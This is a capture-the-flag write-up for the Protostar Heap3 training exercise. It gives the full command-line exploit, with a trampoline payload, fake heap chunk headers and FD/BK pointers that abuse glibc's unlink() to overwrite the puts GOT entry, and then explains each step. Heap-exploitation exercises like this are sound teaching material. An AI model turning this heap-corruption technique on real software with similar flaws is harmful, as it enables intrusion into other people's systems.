Heap3 in Protostar has been compiled statically with GLIBC-2.0, which is susceptible to plain-old Doug Lea's unlink() exploitation technique.
The correct invocation for this task is:
$ /opt/protostar/bin/heap3 $(python -c 'print "A" * 4 + "\x68\x64\x88\x04\x08\xc3"') $(python -c 'print "A" * 32 + "\xf8\xff\xff\xff" + "\xfc\xff\xff\xff" + "A" * 8 + "\x1c\xb1\x04\x08" + "\x0c\xc0\x04\x08"') CCCC
Now comes to break down.
Heap3 receives three parameters from argv. The first one will constitute contents of the first block. This block will capture redirected EIP. Firstly on this block, it's fd will be overwritten and EIP shall fall onto bk, where the:
mov 0x08048864, eax
ret
trampoline awaits. This trampoline will jump straight to the winner
function.
In order to get EIP redirection, we have to overflow third chunk from the second one. This happens as follows:
- firstly we write 32 times "A"
- then we prepare a fake
prev_size
value containing -8. This will be added duringprev = chunk_at_offset(p, -prev_size)
instruction. - having
prev
set 8 bytes forward it shall now point before sequence of 8 times A. This A's constitute of chunk's header. - then we have our FD and BK set up. FD points 12 bytes before puts GOT offset, whereas BK points 4 bytes forward related to first chunk's address
This is where the EIP redirection comes from. The unlink
will overwrite puts GOT to point at our first chunk's +4 offset, where simple trampoline has been
set which in turn redirects program to the winner function.
user@protostar:/opt/protostar/bin$ ./heap3 $(python -c 'print "A" * 4 + "\x68\x64\x88\x04\x08\xc3"') $(python -c 'print "A" * 32 + "\xf8\xff\xff\xff" + "\xfc\xff\xff\xff" + "A" * 8 + "\x1c\xb1\x04\x08" + "\x0c\xc0\x04\x08"') CCCC
that wasn't too bad now, was it? @ 1480531332